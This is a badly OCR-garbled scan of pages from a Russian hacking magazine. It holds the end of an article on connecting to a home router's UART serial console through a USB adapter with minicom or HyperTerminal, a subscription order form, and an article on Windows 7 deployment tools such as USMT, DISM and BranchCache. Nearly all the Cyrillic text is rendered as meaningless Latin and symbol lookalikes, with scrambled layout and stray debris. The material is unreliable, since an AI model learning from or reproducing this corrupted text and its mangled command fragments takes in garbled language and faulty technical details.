Ha 3-i-l. CYTb B TOM, "ITO TX Jl,OJ1)1(eH nepeAaBaTb B RX. npl'lCICM 101 rOTOS HYJ1b-MOAeMHbl~ Ka6e.nb l

An>l YAo6CTBa MOHr3:.::a S MaTepl-1 HKy poyTepa 1'1 snal'lfl WTbl PbKOBbl~

Lo1cnOflb3Y5l yKa3aHHylO Bblwe MHKpocxeMy FT232RL, -

'-ITO 11 L-1 CAenafl

paJbeM, a S MOHTa)l<KY C MAX232 -

nplil nepsoCt n posepKe poyrepa. H 0 3Ta MLo1KpocxeM3 -

B AOCT3TO'-lHO

KaK B C110T. RX \1 TX poyrepa nOA6HpalOTCR 3Kcnepl-1MeHTaJlbHo.

XAKEP 05/125/ 09

06paTHbiM pa3beM L-1 BCTaBltlJl nJlaTKY,

~

117


>> phr€'aking

TIIT"bI V3I anl1

'4TO

Ha40 nCI1HI1Malb

T1

\

ST

12

T2

12

12

12

12

12

PfffD2f'fF ,

s

SP

7

nepeAa'la 6aiila 11101101

YCTPOIilCTBA, ~CnOJlb3YIOLl.I~E UART Jlor 3ArpY3K~JI~HYKCAHA 3KPAHE KnK

-~~~~~~~~;;-;~~~~-;.;;~~~~-~~~;~-;

_-_

-j

~-~-_

===

I---;::i::

cTapblx Mo6l1n, BpoAe Siemens x45

I

Tenepb H3,D,O 3arH1TaTb MVlKpocxeMy npeo6pa30e3Teml. 06w,1>1 ~ npOBO,D,

'! Hac nplt1cyT"CTByeT y)+(e npRMO B pa3beMe Ha M3MKe poyrepa. A BOT + 5 BOl1bT HaXO.£\lt1TCs:l npRMO y 8XOAa nvn3HliR poyrepa. B MeeTe, rAe nOAK11IO­ 43CTCfl aAamep.

TO"lKY HaXO)l(AeHltlS'l 5 Bonbl onpeAefls:leM

BOllbTMeTpOM,

liI3Me?5111 pa3HbleY3J1bl OTHOC\<1TeflbHQ 38M1111 pOYTepa. nO,l:\KllIOl.laeM nlInaHVoe,

B Kll104aeM

H Ha'lIilHaeM HaWlII 3J10CTHble

3Kcne­

pl.1MeHTbl.

if:!

HY)l(HQ HaCTp0l.1Tb TepMltlHaJlbHyfO

.'" ~

HACTPolilKA TEPMIo1HAJlA

HaM

.. ,.

nporpaMMY.

B BVlH.oe Bce AOCTa­

Hyper Terminal. OTKIl104aeM nporpaMMHYIO Vl annapaTHylO npoeepKy AaHHbIX, BblCT3SflReM CKOpOCTb 115200 l.1 O,Q!t1H CTOnOBbll4 6141. A BOT B n""Hyxe .0.8110 06C101'11 4yTb xlilTpee. Y MeHR Ubunlu, ~1 paco::a3blBaTb 6yAY npo Hee. AnA Ha"lana pa36ep>1Cb. KaK 8 TBoelii C60pKC lJ1MeHyeTC>1 COJ-.-1-nopT. B MoeM cJly"lae COMl 6bln tlySO leCfH1 T04HQ npacIO: 3anycKaeM

I1Cn0J1b30SaTb K npl1Mepy MI1KpocxeMY FT232, TO OH 6y,oeT t-lMeHOS<lTbCR

<>.

:E

o

U

------------_._---------------_._------- ... ----- .... _-_._ ..... -.... _...' CXEMACOnp5l)KEH~H ~HTEP<I>EIiICOB

ltyUSBOI..QJHl pa50Tbl C HI1M R I1cn0l1b30Bal1 COepTI1HKY minicom. 3anycKafj ee c napaMeTpaMlJ1: minicom -l-8 -c on -s. AaJ1ee BbI6l-1pai1

mABTOHOMHOEnJlABAHbE

«HacTpoi1Kl-1 nOC,1eAOBaTeJlbHOrO nopTa»:

CorJlaCl.1Cb, j:\enaTb Yepe3 TepMI1HarlbHYIO nporpa MMy TO >Ke C3MOe,

SSH -

He a~c. MHe XOTeJlOCb npeBpaHHb

nOcne;:WBaTeJlbHbll1 nopT /dev/ttySO

4TO y,!l,06Hee C)J.enaTb 4epe3

CKOpocTb/ ...eTHOCTb/6w't'bt 115200 aNI

poyrep B asToHoMHbli:i Linux-KoMnbIOTep. co CBoei1 XI1TPOf1 apXlt1TeKTy­

Annapa'rHoe ynpoBJleHlol.e rrOTOKOM - HeT

po~. )],nA3Toro Hy:>KHO, "ll05bl AaHHbl8 C KfiaSl1aTypbl nepeA8S3rllt1Cb no

npOrpoMMHoe ynpaBneHlol.E nO'l'O<coM - HET

UART.

VI no HeMy:>Ke BbIBO)J.lilrlL-1Cb Ha MOH.nop. naRTb l.1 pa3pa6aTbisalb

YCTPOfjCTBO 6blno neH1180, TorAa-To l.1 nplt1wn;) lti,Qeq 3alO3aTb AJlA 3Tlt1X CoxpaHREM HaCTpMiKl.1. Colfm1Ha nonpo6yeT np0lt1Hlt1lJ,lt1aJH13lt1pOsaTb

u,elle~ nblllAw,l-If1c>l6e3 Aen8 KnK

MOAeM ~ He o6pa1ll3fj BHVlMaHlt1R. YTo6blsbl3BaTb MeHIO, Ha;:;<,'.AVI ~ctrl-a

no cym, HanaJ\OHHI-1K 6YAeT I1CnOnHflTb ponb KOHTponnepa KJla6l1arypbll-1

z>. TaM MO:KHO MeHSHb HaCTpOHKlo1, HanpVlMep: BKnI04l.1Tb!SblKJlIOYVlTb

J],l-1CnneR, Hy ltl CnY>KIHb conpQ>KeHl-1eM l-1HTepepefjcoB. CHa .... aJla

3XO -

E.

60Ban )J,pesHe~Wl-1H Palm

fl

nonpo­

ml 00. Ho, BI1AL-1MO, y Hero OyeHb ManeHbKaR

6y¢lepHa" naMRlb, l.1 OT KOJll1yeCTB3 J],3HHbIX, KOiopb1e lt1AYT C pOyTepa, eMy

f:!

HACTPolilKA

51 S3RlI ,[1,pyro~ COM -nopToM l-1 TepMl.1HaJlKOf1.

CTaHOBlt1JlOCb nnOXO.

$1 He peKOMeH,QylO nOAKJllOyaTb Mlt1KpOcxeMy npeo5pa30SaTeJl51 K poyrepy.

HblM

npOMblWIIeHH bl ~

KnK,

C HopManb­

na6bl npOSep\1Tb ee $Yj.lKL\lt10H8n. AonycKaeTcR TOJlbKO 6paTb C Hero

nO,o,KnI04I1n, 8CT3SI111 B ,lJ,OK lt1, 8 pe3ynbTaTe. nOllY«l.1Jl He60Jlbwoli1 nlt1~IYKC­

nlt1TaHlt1E. nposepKa npOXOAlt1T oyeHb npono -

KOMnblOTep.

RX c TX.

Heo6xo,Qlt1MO nepeMKHyTb

CHayarla nepeMbl KaeWb B COM-nopTe 2-fjltl

3-1.1

KOHTan­

npoBepRewb HacTpoi1Klt1 TepMlilHanKlt1. nl-1WeWb 4TO-TO He KnaBe: eCJ1\-1

B npl.1Hl.Il.1ne, BMeCTo ,QOporylllero npOMl>IWJleHHoro KnK

no,ooi:iAeT 60flbWlt1HCTBO Hana,D.OHHl-1 KOS, pa60TalOw,lt1X nOA onepaL\lt10H­ KOfj WinCE, rna SHoe -

HawH1 nOAXOA>lll.1l-1W TepMl-1HanbHbl~ co¢r.

Clt1MBOnbl B03Bpaw,aIOTCI<, 3Ha4l-1T, 8ce OK. TaK:>Ke nposepRewb Ka6enb. Te :Ke KOHTaKTbI. nOTOM nOAKJ1IOLlaeWb Ml-1KpOcxeMY. 11 y>Ke y Hee Ha BblXOAe CTaSlt1Wb nepeMblYKy. s:J 3aOCTp511O Ha :nOM BHl.1MaHlt1e, nOToMy YTO, Ha npltl­ Mep,

y MeH>!

B03Hl.1KJ111 np06neMbl, L-1 Hlt1yerO He pa6oTano, nOKa fl Bce He

npOBCpL-1Jllt1 He H3wen OWl.16Ky. nocne scex H3CTpoeK MO:KeWb CMella u,enMHb K poyTepy L-1l.1CKaTb

;~

mIo1TOrlo1 VlTaK, q nOKa3aJl He60J1bW0f1 npl1Mep l-1CnOnb30BaHl-1S1

pa3Jll-1YHblX >Ken€30K. ECTb OH npaKTt-lyeCKl-1 e€ 3 Ae.

RX- TX

UART

ECJlltl T:'I

BKYPlt1Wb B :nOT npoTOKon, TO nOD€ p b. CTaloieWb npOCTo nOB€Jllt1TeneM VI yepe3 Hero MO:>KHO

conp51raTb. K33allOCb 6bl. cosepweHHO pa3Hbl€ sew,l1. K npl-1Mepy, K TO My

Ha poyrepe, nepl1oAlt1yeCYI<l Bbl,D.eprl-1S3>lltl3 Hero nl-1TaHl.1e. ECJ1L-1 Bee

:Ke poyrepy npl1 He60J1bWl-1X HZCTpOI1 K3X nOAKflI04aeTC>l Mo6ltlrlbHbli:i

CAeJlZlHO npaB/IlnbHO. TO npl.1 no,o,ay€ mtTaHL-1" Tbl YBl.1AVlWb Jlor 3arpY3 Kl.1

TeJle¢OH no lOapT)', -\1 pa3,1J,aeTC Hero ltlHTepHeT.

poyTepa. np>1HI1Ma~ n03,QpasneHVI>l. Tenepb y Te6>1 nOJlHbl~ annapaTHbll1

Kyya. He 6oi1cR3KCneplt1MeHTl-1pOB3Tb, caMoo6pa30BblSaTbCRlt1 peaJ1ltl30~

pyr, raK, 6YATOTbi Clt1Alt1Wb3a MOHlt1TOpOM C KrlaBoi:i pOYTepa.

8aTb CBOI1l-1Ael.1. YAa4l-1. Xal.lKep.x

~ 118

B 06W,€M, npV,M€HeHI1v,

XAK£P 05/125/ 09


.....r=

~~~~~~r~~,

DVD $ BblrOAA. rAPAHTMSI. CEPBMC

...., F l H E P +

rOAOBASI nOAnMCKA no UEHE 2100 py6 [Ha 15% gewesne yeM •

npVl nOKynKe S P03HVllWI

E,AItHilR "eMil no Beew POCCItIl. AOCTaBKII 3a ['leT HMillenH,

BTOM 'iMene KYPbepOH no MOCHse Bnpenenax MKAA

BHMMAHME! BTOPOE CnEunPE,D,nO>KEHME! npH nOAnHCKe Ha KOMnneKT )I(yPHallOB

)KEJlE30 + XAKEP + DVD: -OA"H HOMep Bcero 3a 155 py6ne" (Ha 25% AeweBne, 4eM Bpo3HHUY)

3A 12 MECSIllEB

3A 6 MECSlI.\EB

., &

nOAn"CKa Ha )I(ypHan "XAKEP+DVD" Ha CTOHT 1200 py6.

6 MeC"ueB

KAK OCDOPMMTb 3AKA3

Y1

i.Iii

~

B~lpe3aB ~!

1. Pa360p4HBO 3anonHHTe nOAnHCHOH KynoH HKBHTaHUHKl, HX H3 )I(ypHana, CAenaB KcepOKonHKl "nH pacne4aTaB CCaHTa www. glc.ru. \& 2.0nnaTHTenoAnHcKy4epe3C6ep6aHK. 3. BblwnHTe BpeAaKU"Kl KonHKl nOAnHCHblX AOKyMeHToB - KynoHa" ill KBHTaHU"H - nKl6blM "3 HH)I(enepe4HcneHHbiX cnoc060B: !Ii • no 3neKTpOHHOH n04Te subscnbe@glc.ru; .t • no cjlaKcy 8 (495) 780-88-24; W• no aApecy 119021, MOCKBa, \\i yn. T"Mypa <1lpyH3e, A. 11, CTp. 44, ~ 000 "reHM 1l3HA", OTAen nOAn"CK".

*

w

I

~

BHMMAHME!

,

ID

I ~

\ ,

j[l

~

~

I

to nOAllHCKa cxtx>PMn"eTC" BAeHb o6pa6oTKH KYnoHa " KBHTaHUH" Bpe/IBKU"": I1l

1:., • B re1.l8Hl-18

~

mnVl

pa604\!1X AHe~ nocne ompaBK~

peA8Klll-1KJ no epaKcy

\l!n\!1

nO.L\m1CHbIX

AOKyMeHToB B ~,

3neKTpOHH0l1 n04Te;

!;;i • BTe4eHHe 20 pa604Hx AHe_ nocne OmpaBK" nOAn"CHbIX AOKyMeHToB no

i;

~

ill

n04ToBoMY aApeey peAaK4HH. ';;. ~ PeKoMeHAyeM Henonb30BaTb <paKc "nH 3neKTpoHHyKl n04ry, BnoeneAHeM 1~ Yi cnY4ae npeABapHTenbHo oTeKaHHpoBaB HnH eepoTorpacjJHpoBaB AOKyMeHTbL f<i :g nOAn"eKa O<j>opM""eTC" CHOMepa, BbIXOA"Ujero 4epe3 OA"H KaneH· \h W AapHbl;; MeC"U nocne onnaTbl. HanpHMep, een" Bbl npOH3BOAHTe onnaTy B ~ ~, an?ene;.TO:YPHan 6YAe~e ~.onY4aTb CHKl~~. >" " , •• •• ~

~~1~'~;f~~ii.'l?~

no BceM Bon ocaM , CB"3aHHbIM CnOAnHCKOH, 3BOH"Te no 6ecnnaTHbiM TenecjloHaM 8(495)780-88-29 (An" MOCKBH4eH) " 8(800)200-3-999 (An" lK"TeneH APyr"X per"OHOB POCC"H, a60HeHToB ceTeH MTC, 6"llaHH " MeracjloH). BonpOCbl o nOAn~cKe MOlKHO TaKlKe HanpaBnRTb no aApecy info@glc.ru ~J1~ npoRcH~Tb Ha caHTe www.GLC.ru

r---------­

--------.,

noom1CHOIiI KynOH npowy Q¢)OPMIilTb nOJJm1CKY HA )f(YPHAn«

o o

Ha Ha

6 MeCl<l.\eB 12 Me<:SlL.l,ee

VlHH

7729410015

A6 "oprp3C6AHK .. ,

200 r.

H3'-lIo1Ha5l C

I.

MOCKB8

pIC Ng 40702810509000132297

o

,QOCTaanmb ~HaJ1 no l"IO'IT6 H3 J:\OMaWH\Il\ll a,Qpec

Klc Ng 30101810900000000990

6V1K 044583990

,QOCTaSmlTb >K)'pHan KYPbePOM:

o

Ha

D

Ha AOM3wHI.11:i a,lIpec**

atwec

O¢\Ilca

Knn 770401001

* A,Qpec (c \IlH,QeKcoM)

CyMMa

Ha3Ha4QI-l\ll8 nnaT8>K8

OnnaTa >KypHaJl8 «,

¢I.VI.O.

,,,

200

c

Kacctfp

~

<l>.V1.0.

A,QPEC AOCTABKM: VlHH

7729410015

KBHT8HIll1.Sl

AS "Oprp3C6AHK". r. MOCKB8

p/cNQ40702810S09000132297 yIlltlUa

KlcNg301Q18109000QOOOO990 LlOM

KOOfWC

Knn 770401001

6V1K 044583990

TenectxJH (

e-mail

CyMMa

Ha3HayeHl-1e nnaTe>Ka '.~(lQ{I"Y""""'''''''_<l>MP''''''

"~

OnnaTa >KypHana «

..",,6x<,wn.Y'" -:><lpMallO"Q

..

··"~n",, Y"'l""'J:IPY'Y'D~Y"'""4><>Pn'U""' M_ _T_wi! oapMaHT llOClae"" B c~ OTCYTcTB""IlOUa

I"~""n"~

200 r.

C

¢l.V1.0.

,one

KacC'wp L

"

_

nOAm1Cb nI18Tenbl1.\ltlKB

-----------------_

.J


\9 I~

I:~

O.n/\,QIMolIo1P

.1URBINA~

MIWI:Q

I V.TURBIMAlilGMAIl.CDH I

I '\

~lN-inOOws-!J-FJIa3aM~

IT ~Rell*a-n~CTa

I ,I

Windows 7 3aAonro AO n051BneHV151 nepBblx C60pOK Bbl3Bana orpoMHbl~ V1HTepec cpeAV1 IT-cneu,V1aflV1cToB V1 npoCTblx nOflb30BaTefle~. VI XOT51 ap­ xV1TeKTypa, nOCTpoeHHa51 Ha KOAe Vista V1 Win2k8, OCTaflaCb, B o6w,eM, HeV13MeHHo~,

B «ceMepKe» V1 conyTCTByfOW,V1X V1HCTpYMeHTax CAeflaHO p51A

Ae~cTBV1TeflbHo none3HbiX ycoBepweHCTBoBaHV1~. OHV1 n03BOfl51TaAMV1­

HV1CTpaTopy nOflYLJV1TbnerKoynpaBfl51eMYfO V1 6e30nacHyfO cV1cTeMy.

_ I MHCTPYMEHTbl PA3BEPTbIBAHM~

ScanState moco6eH npOH3BOl!:H"I'I> cGoPAaHHblX U3

K81'aJIOrH311p)'lOTCfI, 3aTeM KOTInp)'lOTCR 86e30nac­

, o

ITpe>KAe Bcero, npoH30U1JJlJ:H3MeHeHHfl B HHCTpY­

Hep360TInO~eHCl1crCMbI (HanpHMep, HCllOJIb3Yfl

HOC MeCTO M nOCJlcyeTaHOBKH OC

MeHTaX,lVlH C60pKH CHCTeMhl. CaMhlM 3aMeTIfblM

WindoVl'S PE) 1I60JICeTO'IHO OtIpeJl,eJmTb Tpe6ye­

06paTHo. Y<fHTbIBM, "ITOo6beM,lJ;aHHbJ.XKIDK,ll,oro

<

Z > 00

CTano BKJIlO'IeHl1e Cpe,n:CTBa MH rpaqHH nOJIb3O­

MbIHp,lm MHrp<n(HH pa3Mep pa3AeJIa H BpeM.R.

nOJlb30B81'eml MO:>KeT rrpeBl:..Il11aTb HeCKOJIbKO f6,

l3aT(~JlbCKOH Cpe,lI.hl usrvrr (UserState Migration

B Cl.\eHapHH Config.xml nOllBllJIHCb HOBble

;;lTO nOTpe6yer AonOlIHli'reJlbHOro MCCTaJVUI HX

Tool) BCOCTaD WindowsAIK CWindowsAutomated

n3p3Me1'pbI Ii ceK1V1H. HanpHMep, CeKl\HlI

XpaHeHIDI 11 pecypcon. B HTOre, pa3l3epTblBaHl1e

InstaU ation Kit, ITal<eT ClBTOMaTWle<:l<OH ycr3HOBKH

<ErrorControl> rr03BOJHIe1' YKa3aTb ClfCTCMHblC

CHITeMbI Ha 31'OM 3T3ne CRJIbHO 3aMeA>1JIeTCf/. B

Windows). ITpe,ll;Ha3HaQeHO OHO,D.JUI. 6blcrpOro

q,aHJIhI, OlliH6KH <.J1'cHHfll3anHcH K01'OPbIXMOJK­

H080M WAlKBMecro nepeHoca BeeM HHcPopMaWtH

nepeHoca $aMOH, HacrpoeKOC H npHJIO)KeHHH, a

HOHrHOpHpoaaTb, He npepbI13M oncpaLJ;HJo. npH

HCflOJlb3YeTOi TaJ< Ha3bmaeMa5I MHrpaLJ;J.Hf}KecTKHX

T3lOKe napaMeTP0B nOJIh30BaTelJeH fipH MaClUTa6­

3anycKC C KJliOQOM

HOM pa3BepTbmaHHH OCOT Microsoft.

C03AaeTCfl.CCKI.J;IDI, B K01'OpOH onHcaHbI Ha­

napaMeTIX>M lhardtink.

Bepcru1 USMT 4.0 nonyquna PJVl: HOBblX B03MO)K­ HOcre1i. Tenepb KyrwnrraM ScanState (c6op<paH­ lIOB H napaMeTpOB) H LoadState (nepeHOCtlaHHhlx)

HGOJIee 1'HIm'lHble CH1'yal\HH .l-I.Be 4>YHKl\HH

TeJ1bHOH CTeneRH coKpaTHTb 06'beMbl KomfpyeMblx ,wntHbIX, a3Ha t j:IIT, YMeHbWRTb npellrn Ha pa3Bep·

,ao6aMeHa H08a.ll.- UsmtUtils-I1XllOnOJlHJUO­

MigXmlHelper.FilcProperties J.1 MigXmlHelper. GenerateDocPatterns Moryr 6bITb HCIIOJlb30BaHbI Aliff KOHTpOJlfl MHrpal..{I1H cPaHJlOB 110 onpCAe­

maR. UsmtUti!s 06J1a.,1laeTBcero,lJ,BYfl.tlI rrapaMeT­

JleHHblM KpHTCpHlIM (pa3Mep, BpeMR: C03,l1;aHlliI

Igenconfig B Config.xml

CCblnoK (Hard Link Migration), aKrnDHpyeMaR

31'0 rr03BOJI..ReTB3Ha'lH­

TblBaHHC H BOCCTaHOBJIeHHeCUCTeJ.lh1.

ScanScate c:\store 10 Ie li:migapp.xrr,l Ii :miguser .xml /nocompress /hacdlink OTHbIHe E c; \store 6y/IYT xpaHMTbOl )KeCTIrne

paMH. npH nOMOJ..QH lee MO>KHO TTOJIY'IHTbCnHCOK

H MOAHlPHKaUHH H 1'.A.) J.1 nOHCKa .uOKyMeHToB

TIOMCp>KHBaeMhlx aJIroP"TM06 IlIHtPpoaauHJI

TIOJLb30BaTeTlfl

(AlgIDs) BTeK}'IlJ;CH CHCTeMe. A Id YAAJIfleTcchllIKY

HbIH cnHeOK rpaHJIOB, KOTophle

Ha Ka1'WIor, HCnOJIb3ycMhlH B apryMeHTe KOMaH,!J;hI,

Hbl, MO)}{HO npl1 nOMOI.1I;HCneLtHaJlbHOrO KJIIOl.fa

cPaH.nOB, 3a6.nOKHpOBaHHbIX TaKlfMH cCblllKaMH) .

li3 6a3hl, CtPoPMupoBaHHoH ScanState. nOCJIt',l(Hee

/lisrfiles. HOBbIH paJ,lJ;eJI <ProfileControl>

Y'lJ'lTbfBaJf,

nonC3Ho np" y,lJ,MeHMH }KeCTKl1X CChDIOK, 3a6JIo­

.a;OCTaBJlJl:eT B03MO)KHOCTb H3MeHHTb lUIeHCT80 B

npouecc npOHcxo,ll;J-IT 33MeTHQ 6bICTpee. 3a Hard

lillpo6aHHbIX no pa3HbIM npl1'IHHaM. H}?KHaR HH­

JloKaJIbHOH rpynne D xO;:J;e MI1rpaLJ;HH.

Link Migration B XML·q,ailn.ax OTBet.[aeT ceKlJ,I1JI

tPopMaLJ;1 tfI AJ1SI ScanState/LoadState no- npe)KHcMy

nepeHoc nOJIb30BaTeJlbCKJ{X tJ;aHHbIX npH YCTa­

<HardLinkStoreControl> .

HaxO,lJ,HTCfI B HecKOJlbKHX XM:L-1?aiinax nepe'Hoca;

HoaKe CHCTeMbI -

Er.u;e O,D;I1.H HOBhlH KJIIO'I Ivsc KOM3R.1I;blScanSrarc

MigApp.xml, MigUser.xmt, MigDocs.xml, Config. xml (C03.ll:aeTCR npH nOMOllJ,H Igenconfig). Tcnepb npH nepcHoce yqcrnolt 3a nI-t'Cll HC TpC­ GYCTCR 06113BTe1IbHoe IIO,[lKJUO'ICHHC KAOMeH)',

I

B03BPaJ.1.l8IOTCH

~

120

fJlaBHOe -

Ha I(OMnbIOTepc. nOJlY""lITb nOJI­

6y;:J;yr nepeHece· npe­

CaMaR OTBeTCTBeHHM 'Iacrb.

HH'lerO He nOTep1ITb, H CAelIaTh TaK,

CCblllKH Ha Ka}K,£I,bIll rrOJIb30E3TeJIbCKJ.fH

epafuI. npU

rrepeHoceOC)KeCTIOIH,D;HCK6Y.D;eT04f.nu;eH (KpoMe 4TO,D;aHHble, no CyrH, He KonHpYJOTCR,

n03BomteT HCllOJIb30BaTh clYJK6yTeHeBoro

<.JT06hl no.ilb30BaTeJlb, 3arpy;mDwHcb B HOBytO OC,

KOmlpoBaHM (Volume Shadow Copy) AJlH JaxBaTa

cpa3YMOr npl-lcryrII-ITh K pa60Te. BeCh npol..{ecc

¢aiinoB, 3aMoKHpoaaHHblXAPyrnMH npHJIO)lCeHH­

BblrJlflAI1T ClIe,D;yIOlUH:M 06pa30M. CHa<{ali a.u8HHbIC

flMM.

LVur IllH¢ponaHIDI ,D;aHHblX 6 TpeTbeH neponi

- - - - - - - - - - - - - - - - - - - - - - - - - - - - + 1---+ XAKEP

os 11251 09


---.

~

USMT HCIl0JIb300ClJ1Cfl aJlrOpHTM 3DES, -

Tenepb

CETEBblE B03MOlKHOCTH

3HClJ.OrwIHhIH <paM, cepHep npoBepHeT 3anpa­

'1epe3 napaMeTP lenCryptMO>KHOYK83aThAES e

Bce H0J30J3J3eAeHlUl B CeTeBblX npcrroKOJIax, KOTO­

WHJ3aeMb.le.n:aHHhle Ha npeAMeT HX B03MO:>KHOrO

KJlf{NOM

12S/192/256611T.

HOBaH BepCHJ'l WAlK no,a...a;epiKHBaeT y-HH­

pbJe 6bIJIH AOCT}'TIHbI B VistaH Win2k8, HHTerpHpo­ BaHbI HB Windows 7. HanpuMep, nOMe(»K.K3 5MB

lGIlIHpoBaHHll. EClm :;lTO notJ,TBep:>KAaeTCJl., TO 06"

<pHl.\lIpOBaHHYIO KOMaH/J:HYIO Y'l'HJIHTY

2.003Ha"laeTYCKOpeHHoeKonHpoB8Hue~afi.,loB

MaQllH, OTnp3BJIReTCll TOJIbKO DIU, no KOTOpoMy

DISM (Dep10yment Image Servicing and

no ceTH 3a C"I.CT naKCTHOH OTnpaBKH AaRHbIX,

HaxOAlITCllK3IlIHPOB3HHhle;:J;aHHble.

Management), HCnOJlb3yeMYIOtVIn nocTpo­

KOr,l{a nOtuBep~eHHeAaeTOl

OOMep;>KHBaeT CTalI,2J;apTHble npoTOKOJIhl HTIP/

emUi H 06CJlY)fU1.13aHHH WIM-06pa30BVista

Ka)l(J.J;blH naKeT, KaK:nu6bLl0B 5MB 1.0.

SPI, Win2kS, Win2kS R2 H Windows 7. DlSM

Ha rpynny, a He

Y13MeHe­

paTHO, -aMeCTO nOBTopHOH nepe,ZJ:a'lH BceH HHlJ?Op­

BranchCache

HTTPSH5MB, 'ITO n03EOJUlCT B3aHMO,1\eHcrBo­

H HH H creKe

TCP/IP II03BOJ"UnOT ycraHaDJIHl3aTb p,lIHaMWIeclOi.H pa3Mep 6yepepa, TOrA3 RaKB 5MB

BaTh CnIHpOlru:M cneKTpoM npHJIO>KeHHH. HOBM TeXflOJJOrWl MO>KeTpa6oTaTb B O,D;HOM 1-13

(pkgmgr.exe), PEimg H lntlcfg, KOTopble,

1.0 6y4>ep6blJl <pHKCl1poBaHHhlH (64K6), 'ITO

;:J;ByxpemHMOB:

KCT3TH, HHKy,n;3 He ,D;eJIHCb H TaK)f(e aXO,ZVl'l'

3aMe.lVUVJO n epe.n.aqy60J1hIlIHxnOTOKOBAaHHb.lX.

• Hostedcache-JGIlIHpyeMbIe,n;aHHhlexpa­

B pe3yJIbTaTe, cpe,n;HIDJ CKOpoCTb KOnHpOBaHJUI

IUlT01 Ha OT,1\eJ1bHOM cepBepe, pa6oTaJO~eM nOA

~YHKI..J;IIOHaJIbHO 33MeHReT

B eoeTaB Windows

Package Manager

7 H Win2kS R2. MO)l(HO

A06aBJIRTb HilM Y,l\aJIllThApaHBepa K MOHTHpy­

¢ai1JloB yaeJIH'IHJlaCb npH6JIH311TeJlbHO B 3 pa3a!

ynpaRIIeHl1eU Win2k8 R2. 3TOT ))e)KHM YA06eH,D,JUl.

eMbIM HlIH YJRe pa60TalOIItHM06p333M (paHee

TalOl(e 5MB 2.0 pa3JIRQaeT CHMEOJlWleCKHe CChUIKM

60JIbWliX cereH.

.lI.paHBep He06xo,l\HMO 6bIJIQ HHTerpHpoaaTb

NTFS H 1l036OMeTHCnOJIb3013aTb HX B Ha3B3HlliIX

• Distributed cache- pacnpe.ll;eJIeHlibIH lOlli,

nepe.a. Ha"laJlOC\t pa3aepTbIBaHHn). KpoMe WIM,

ceTeBblX pecypC013. DpH 06MeHep;aHHblMHCOC He

KorA3A8HHbre IGWHpYJOTCfI Ha KJIHeHTCIillX KOM­

003?f0}f<Ha pa60Ta H C VHD-06pa3aMH,

HYDKe Vista,

OTMeTHTb,

VHD-AIIClUt BHpTYaJlhHbIX MalllHH, a VHD Boor -

Cnetl;yeT

Windows 7 n03BOJUIeT MOHTHpoBaTb epYHKJJ;HR

JlerKO nepeXO,ll.HTh B BHpTyaJlbHYro

cpeAY H o6paTHo. WAlK IlQAAep;>KHBaet pa3BepThlBaHHe Windows

5MB 2.0 YCTaHaBJIHBaeTClI aBTOMaTH­

nblOTepax H no (WUpoKOBCLQ3Te.l1hHOMy) 3aopocy

QeClO1; HH3're HCrrOJJb3yerCI YCTapeBllIall Beparn

nepecblJla.JOTCl'l Ha.ll.pyrHe CliCTe~lbI.

rrpOTOKOJI3,

nplf nocrpoeHIfH BranchCache Y~ITeHhI BceTpe­

B Windows 7 nORBWlaCh HHTepecH8Jl <p}'HKI..l;ID.I

BranchCache, n03BOJlJlIO~a..R nOBblCJITh CKO­ pOCTh pa60Thl cent H CHH3J.fTb BpeM1l3arpy3Kl1

TOJIhKOy6ep;HBWHCh, <tTO ,tIa.HHhll1. J:(JU1eHT IfMeeT

npHJlO>KeHHH Ii H3rpy3Ky Ha BHewHHH KaHaJ13a

JI1XHf3BD,llHTOI CBepKa J3epcVlii, rapaHTJ.1py5l., 'ITO

6oB3HWl6e30naC.HOCTH, TaK, cepoep l)bl.ll.aCT x.:'.!IlI, npaBO 1l000000IHTb HCKOMbiti epa(lJl. npH 3anpote

7HWin2k8 R2 B,llOTIOJIHeHHeKcy:w;ecrBYKJIUllM WinXPSP3, VisrnSPIHWin2k3.

C'leT lGWHpOB3HIVI A<lHHbIX.

P1J,aoBble nOJlb30~aTe..ll1 AWl KOnnpOE3Hllil Ecex Ha­

nOJIb30BaTeJlbOTKpblll CTpaHHQY J.fJIH CKaQ3Jl

IJ;llil epati.n.a.

crpoel( H nepeHocaAaHHbIX Ha EHelUHlIHHcroqHHK

<paiin. ccep6epa roJlOOHOro oq,Hca, -era KOITllil

PaHeeMll nO,D;KJUOQeHlliI Mo6HJ1bHhlX CI1CreM K

MOryI' BOCnOJlb30BaTbCR ynvIHToH Windows Easy

COXp3HReTOt

Transfer.

TeJIb, BXOMI..I{lIH 63T)'>Ke ceTb, 3anpawHBaeT

XAKEP 05/1251 09

BbJrJUlAlIT 3TOTaK.

BlOwe. Kor.lt3APyroH no.nb30Ba­

6Y;:J;eT AOCTaBJIeH3 TOJll>KO CaMM nOCJletl;HJtJI

peAaK­

KopnopaTMEHOH. ceTH HClJOJIb30J3aJ1aCb TeXHO­

JlOnUI VPN, H caM npOQeccTpe6oBaJI HeKOTOpOH.

~

121


---+ 1--- - ---::~= <i\ ~ ' " j =

I

,

..,.

,.,

""~

,_

"'-"0

1""'~.:rJu:.o

u.JU\lJI"II!I

=-----------.3.(f1 '9~"l'<'t(------~'f!. I:¥ '{j\\~ - .. ., .... "=J";

~~I~

~~

O..!'to. c.....'~...., • ,,~,",,".~_,-:=c.c,-------

:""'"IP,,,,tIo<n< ;,-......... s"... otjo

........" ...

.,.-,

'ld~.,~."<1'"'."

O,?,-, ~.(~~~':::;::"""~_ ...~,,,,, ... ,,,,,,,, l".t~>f>G"«","".<~.""<n"

..

riI

~

~~,.~~~~~~~~~,;all

aGo

.r;1Is;:;::::>.

bcl:4i!k

,

......

.?9- .......... :'<\;".,

;,"'~" .....'on<!F_·1

'"""",.I;,,'~"

iIi ;~::~~:%~f~~..:""len"«l ("" ,,, '>0"'"

:lo<t.l'ni w i"-..-d"'011 ;",d~"",

f~,.. '"

'"'I'J" ........... -~, ~

1

.............,0-."

~,,...

", .,"," 'e. ""'f4o' ......-. .""1' ,"'" ,'" ,«'W

c........ ,.k"""" ""'r"'.''''''''

~"""., do

.

"-~ ~~~<;;';.~;,~;.:.:,~~:..,.".o.,""" ~'-;J ~,~~"~';~:.~I~..~.l"'.""eo.' "'_. "$'-... " ...... ,"'1' "!"',j"~,, ....

e

;;.

HaCTpO~KIo1

_~

""-~~

,~

'.W.oll.w.'<I~' , ( ,.." ..... ;"'......4<0'.

""'.....

,-..0.,

..

......... ­ .."'N_.,,"'_.-..--­ -'''''

~b ~7,:\.~~=:'· .~~< ,"~,',''''~."O

....

c""""_'o.~y,,..· ......,.',·.•

k

I'cw"," Optiool

.........

a~

